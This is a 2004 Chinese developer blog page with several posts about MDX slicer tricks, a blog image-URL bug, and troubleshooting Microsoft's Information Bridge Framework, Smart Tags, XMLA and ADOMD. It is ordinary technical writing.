Ok,到这,俺们已经得到了一个包含且仅包含一个(真绕口,Rap?)Memberset,这个Member就是用来做 Slicer的原料。但是Slicer只可以是Tuple,不可以是Set,还得费点事将Set转换为Tuple。查遍MDX函数,找不到SetToTuple或者TupleToSet。看来只又再出偏招了。注意到Set的字符串形式是什么?”{[ ProductView.asp]}”Tuple的字符串形式是”([ProductView.asp])”,,,,get it Set转换为字符串,然后脱去前后两个大括号,再添上两个圆括号,ok,这不就是Tuple了吗 J 说的轻飘,写起来苦:

Where (StrToMember( mid(SetToStr(TopCount( Union(Filter( [URL].Members, InStr([URL].currentmember.name, "ProductView.asp]")), {[URL].DefaultMember}), 1)),2, Len(SetToStr(TopCount( Union(Filter( [URL].Members,InStr([URL].currentmember.name, " ProductView.asp]")), {[ URL].DefaultMember}), 1))))))

这就是最后这个Slicer的模样,是不是看上去有些臃肿状。没办法,在向大家介绍MDX的时候,为了安抚人心,俺常说MDX语法虽然复杂,但是编写的时候往往比SQL来的简洁。但是,在实际应用中,正因为MDX太强大,为了迎合客户的种种BT要求,写出的MDX语句往往也很BT。这正应验了Leader的名言:客户有多BT,程序就有多BT

posted on 2004-10-27 16:24:00 by grapecity  评论(23) 阅读(10201)

 
2004年10月13日

第一把在blog里面贴图,结果显示不出来,很是头大。有爱心的同志建议,是中文图片名的问题,换英文图片名就ok了。美滋滋地换个英文名的图片上来,总还是有问题。图片上载无问题,单图片浏览无问题,编辑的时候插入图片也无问题,就是在保存后显示整篇文档,就出问题。中文、英文的名字都试过了,幸亏语言方面俺没有天赋,否则试一晚上把地球上所有语言都轮个遍也试不出来。

想在编辑的时候能够显示图片,那这图片的连接应该是没有问题的。换个外部的图片链进来,ok,也能正确的show。难道是后台替换了图片的连接地址?不会吧,被玩死系列之四这么快就找到素材了。

察看显示不出来的图片的地址,是“http://images/blog.joycode.com/grapecity/1016/o_中文亦能显示哦.jpg”注意是双引号里面的部分。

然后在管理模式下察看图片的原图,其地址是:
“http://blog.joycode.com//images/blog.joycode.com/grapecity/1016/o_中文亦能显示哦.jpg”。
慢着,为什么image前面是两个斜杠? 去掉双斜杠中的一个,地址变为:
“http://blog.joycode.com/images/blog.joycode.com/grapecity/1016/o_中文亦能显示哦.jpg”。
图片照样可以显示出来....

俺从相册中选择这张图片,然后察看其原始图片,然后copy之,转到文档编辑区,贴入图片,ok,图片show出来。注意哦,这时show的图片地址是image前面为双斜杠的地址,但是在实际显示出来的文档中,不知道是服务器解释的问题,还是IE的毛病(俺想问题应该是出在服务器端),将image前面的双斜杠解释成了目录上移操作,ok原始的图片地址:“http://blog.joycode.com//images/blog.joycode.com/grapecity/1016/o_中文亦能显示哦.jpg”经过目录上移后就变成了俺们在最后文档中看到的“http://images/blog.joycode.com/grapecity/1016/o_中文亦能显示哦.jpg”。当然是看不到图片了。

之其所以然后,解决的方法就简单了, copy图的时候,不要从image前面是双斜杠的地址来copy,尽管在ie中这个地址的图片也能show出来,copy image前面只有一个斜杠的地址所对应的图片,然后插到文档中,就ok。

这么小的图片显示问题俺也得耗到半夜才能明白通透,技术这东西,真让人爱恨交加。此刻,俺是恨多过爱,希望明早起来,技术又能恢复迷人的魅力。

posted on 2004-10-13 01:33:00 by grapecity  评论(9) 阅读(4161)

 
2004年10月12日

和摩尔定律一样,软件行业也有一个流行的定律,1.0版本永远是不好用的。即使是MS也不例外。Information Bridge FrameworkIBF)就是一个典型案例。

 

先解释一下IBF是个啥玩意。MS推出IBF,针对的应用群体称为Information Worker,这个词官方翻译为信息工作者,其实白话就是信息工人。每天需要对着计算机,写文档报告方案的同志,就可以被称为信息工作者,项目经理,人事经理,销售经理,那都可以广义的包括在内。拿销售经理来说,用Word写份年度总结报告,总免不了要填若干或真实或虚假的数字。哪里能够找到这些数字呢?他得从word切换到公司内部的MIS系统,找到这些数字,然后copy到这个word文档上来,如果只是数字也就罢了,现在为了这个报告PP一点,老板更好理解一点,销售经理还想搞个曲线图出来。这难为了他,打字都跟啄米似的,更别提捣鼓什么曲线图了。要是在Word上有这么个按钮,一按,曲线图就贴到了word上,这就美滋滋了。咱们先别管这位销售经理的工作态度问题,从技术的角度出发,他还是很有创意的。归纳起来,再提高一点,他要的就是这么一个工具,能根据目前在文档中所操纵的信息和状态,自动从后端支撑系统(公司内网的MISERPCRM,或外网)提取需要的数据、信息,融合到文档中来。IBF就是这样的一个工具或称架构。

 

看上去挺美的,交给俺们这些IT工作者来实施,就头大。光一个简单的demo,构建指南就有64页,俺拿出学习三块手表的精神和态度,认认真真从头到尾地琢磨了好几遍,也愣没在俺这笔记本上给整出来,实在无法,格了俺PC机的命,操作系统office什么的全换新的,该打的补丁一个不拉,总算是在单机上看到了IBF的尊容。

 

   

 

想各位也没有兴趣和时间来听IBF的技术细节,简单概括起来,IBF分为服务器和客户两端,服务器端存放各种MetaData,数据打哪来,到哪去,中间要经过哪些转换步骤,这都在服务器端存着,客户端有这么一个任务栏,当您在office程序中输入特定字符串时,客户端可以感知到,并在任务栏上显示出和这个特定字符串相关的数据,信息和操作。

 

俺现在使的是IBF1.0,其他安装配置的苦水暂且按下不表,单是这个MetaData,俺真想说俩句,这个MetaData的架构,设计的是精巧有余,大气不足。概念的层级太深,在Demo中,有Item居然达到了8级别。一本构建指南读下来,云里雾里,一会东西,一会南北,demo是做好了,可怎么做好的,整体上是个嘛结构,完全没有概念。另一头是这个metadata设计器,写这个metadata设计器的同志是个高手,就是太高手,他用的顺手,俺就用的不顺手了。俺的显示器上大概和这位高手的不太一样,设计器form右边短了50像素,若干按钮显示不出来,俺只能根据指南上的图片,用tab键来尝试。单是完成最简单的功能-根据word文档中的人名,在任务栏上sayhello,俺统计了一下,用这个设计器大概需要弹出40个以上的输入信息界面。所以没有耐心的同志最好不要玩IBF

 

俺知道有些同志喜欢挑战自我,被俺这么一说,还非要装一个玩玩不可。Ok,提供些tips

 

1:最好不要在同时安装vs.net 2003vs.net 2005的机器上玩IBF,至少我没有玩出来,后来卸载vs.net 2005.net framework 2.0之后才okVs.net 2005内建word application支持的类库好像和IBFVSTO等东东有冲突。

2:安装客户端的时候,需要输入metadata服务器的地址。这里有个大陷阱,在论坛上还有好多人问起来。这个metadata服务器暴露出一个web service,指南上说填入这个web service的地址就ok,俺就输入一个http://localhost:8081/IBFReadService.asmx。死活都不能通过检测,说服务找不到。问论坛有的说不要用机器名,要用ip,有的说用localhost不用ip,都不灵。整了老多天,最后才发现,填入http://localhost:8081就可以了,后面缺省的不用填,填了就错。真是没办法,这1.0的东西就是容易着他的道。

3:另一个小心的地方,是安装smart tag。指南上说编译smart tag项目,然后注册,就ok了。其实还需要为这个smart tag配置安全性,具体就是在smarttag目录下执行CaspolAddFullTrust.bat就可以了,还有UIControl部分,也如法炮制一把。其实这高人把bat文件都给写了,就是不在文档里面说明。这不存心让人受累嘛J

 

Ok,下面是IBF的一些资料连接,供准备挑战自我的同志参考:

IBF介绍:http://msdn.microsoft.com/library/default.asp?url=/library/en-us/odc_ibf2003_ta/html/ODC_ibfintro.asp

一个关于IBF比较好的网站:http://www.officezealot.com/ibframework/

IBF的论坛:http://msdn.microsoft.com/newsgroups/default.aspx?dg=microsoft.public.office.informationbridge&lang=en&cr=US

IBF@MSDNhttp://msdn.microsoft.com/office/understanding/ibframework/default.aspx

 

 

posted on 2004-10-12 13:49:00 by grapecity  评论(21) 阅读(6698)

 
2004年09月06日

前面有位兄台贴了篇文章,说的是被Ole DB玩死的故事。这让俺也有了讲述自己被玩死的经历的Idea。一来,丰富了大家的阅历,将来万一耍起来,也知道要小心别着了道。二来,也想说明coding绝非只有joy的层面,更多的是一种让人哭笑不得的状态。

俺想整的事情就是跑通Smart Tag的一个流程。您问俺什么是Samrt Tag,,,简单的说,您在word里面输入"2004",就会有一行小字跳出来,问您要不要自动将日期补齐了,变成2004-09-03,补上之后,又冒出些菜单问您要不要把日期格式转换为中文的。这种自动在office里面识别某些字串,然后给出相对应的菜单操作的技术,就称为Smart Tag。还不明白的话,麻烦您点:http://msdn.microsoft.com/library/default.asp?url=/library/en-us/sdsdk/html/sdcondevelopingsolutionsintroduction.asp。比我整的明白。

下载来SDK,安装顺利。打开C#版本的sample,一看就两文件,so明了,编译无错误,注册完毕。怎么打开Word没有看到Smart Tag装载上来。左看又看,得,还得给Office装上.Net可编程性支持扩展。好容易装上,还是出不来效果,仔细研究一遍注册文件,发现Sample带的Reg文件中的文件注册目录不对,居然少了一个中间目录"Visual C# Sample",汗,Sample不是这样写地,,赶紧修改注册表,还是不上路,无道理啊,给我郁闷的。继续查资料。在折腾Smart Documents的时候,俺总结出这样的规则,你拿MS的Sample来跑,死活是跑不通的,换套其他工具来,就跑的很欢。在Smart Document场景中,救命的tool是Vertigo公司的 Managed Smart Documents Wrapper。所以俺意识到肯定有某个工具能够解救我于水火。

Microsoft Office 2003 Smart Tag Developer Tools。这个MS自己整的工具包原本是用来测试Smart Tag表达式和查看注册的Samrt Tag库的信息的。到我这个问题上却成了一味偏方。这个工具包里面带有一个STExplorer.exe,打开来后,在左侧的Library List中选择一个library,注意到右边的信息列表里面会列出这个library适用的Office程序,Access,Word什么的。俺自己整的Sample安装上去,缺省的是不可以在Word里面运行的,也就是这里的适用程序没有列出Word。吃错什么药了,为什么不让在Word里面运行?还好点击这个适用程序列表,可以指定说俺这个library偏要在Word下跑。ok,保存更改后,发现在注册表里面这个library的对应项下面多了一个16进制的值OpusApp等于0,没有用这个工具的时候值等于2。ok,再跑,贼快。


回头换了台机器再重复一把这个过程,发现这个sample又可以直接跑了,在俺自己机器上跑不起来可能是配置环境的问题。不管怎么招,总之,慈祥地批评MS一把,Sample不可以这样写地;善良地建议一把,如果机器跑不起来Smart Tag的Sample,不妨按上面的流程调整并用工具整整。

小注:上面提到的SDK,tool在MSDN上都有得当,直接输入名称搜。之所以这里没有给出下载地址,是因为搜索还可以找出其他相关文章和信息,比直接上去就当,当完就走要来的敬业一些。

 

posted on 2004-09-06 11:42:00 by grapecity  评论(25) 阅读(6226)

 
2004年08月20日

1、XMLA 1.1是不是一定要安装和olap同一个机器上?
     如果是您来设计这套架构,您会限制只能将XMLA绑定到OLAP所在的机器上吗? 如果您的答案是yes, 那真是失败中的失败。如果俺
来设计, 则应该是:可以安装在同一台机器上, 但不限制XMLA只能访问本机上的OLAP Server。
 OLAP server里面有需要的多维数据, XMLA是将这些数据暴露出来的Web Service 接口, XMLA的安装目录下有一个XML格式的配置文
件,您可以在这里指定要访问哪台机器上的OLAP Server。
     聊到这里,又冒出来了一个新的问题。俺这会先不说开,您要想到了,咱们再聊。

2、adomd是不是用来协助客户端来的,这样客户端就可以方便的访问webservice?
     可以这样理解哦,您要是喜欢把SOAP包拿手里拆来拆去,您完全可以直接去调用XMLA。大多数人没您这个能耐,所以MS就提供了这
么“薄薄的”一层封装,将XMLA的SOAP包转换成Object Model后再交给您。为什么说是“薄薄的”一层呢, 因为这个ADOMD就一句话就能整明白:将XMLA的SOAP封装为对象模型。
     刚刚查了一下资料,ADOMD和ADOMD.Net还不太一样,ADOMD提供的是标准COM接口,他的下面是DSO,而ADOMD.Net则是.Net的Assembly,他的下面是XMLA。

3、webservice访问olap能和owc配合使用吗,也就是将webservice作为一个数据源,通过owc来动态的浏览数据?
     这个不太好使吧,OWC好像是通过DSO这套动动来访问的OLAP Server,XMLA和OWC一样, 都是在消费DSO,您要OWC来消费这个
XMLA提供的Web Service,好像他还没有这个能力。如果俺没记错的话,XMLA提出的时间要晚于OWC出来的时间。

     最近Leader和俺的focus转移到Smart Document这套东东上来。有耍这套玩意的同志,可以一起切磋切磋。的确是要切磋切磋,光跑Smart Document SDK里面的一个sample就浪费了俺一下午时间来调试,惭愧的是居然没有整出来。有消息灵通人士透露,俺是遇到了搞Smart Document绕不过去的一个Exception : XML expansion is missing...  查MSDN说是这种情况在双字节语言系统中容易出现,特别是在双字节系统+英文版Office的情况下。俺的系统正好倒过来,英文系统+中文Office,不知道能不能按这号脉给治。哪位有药方,share一下。

posted on 2004-08-20 09:24:00 by grapecity  评论(18) 阅读(7764)

 
【第1页/共2页,18条】
首页
前页
1

Powered by: Joycode.MVC引擎 0.5.2.0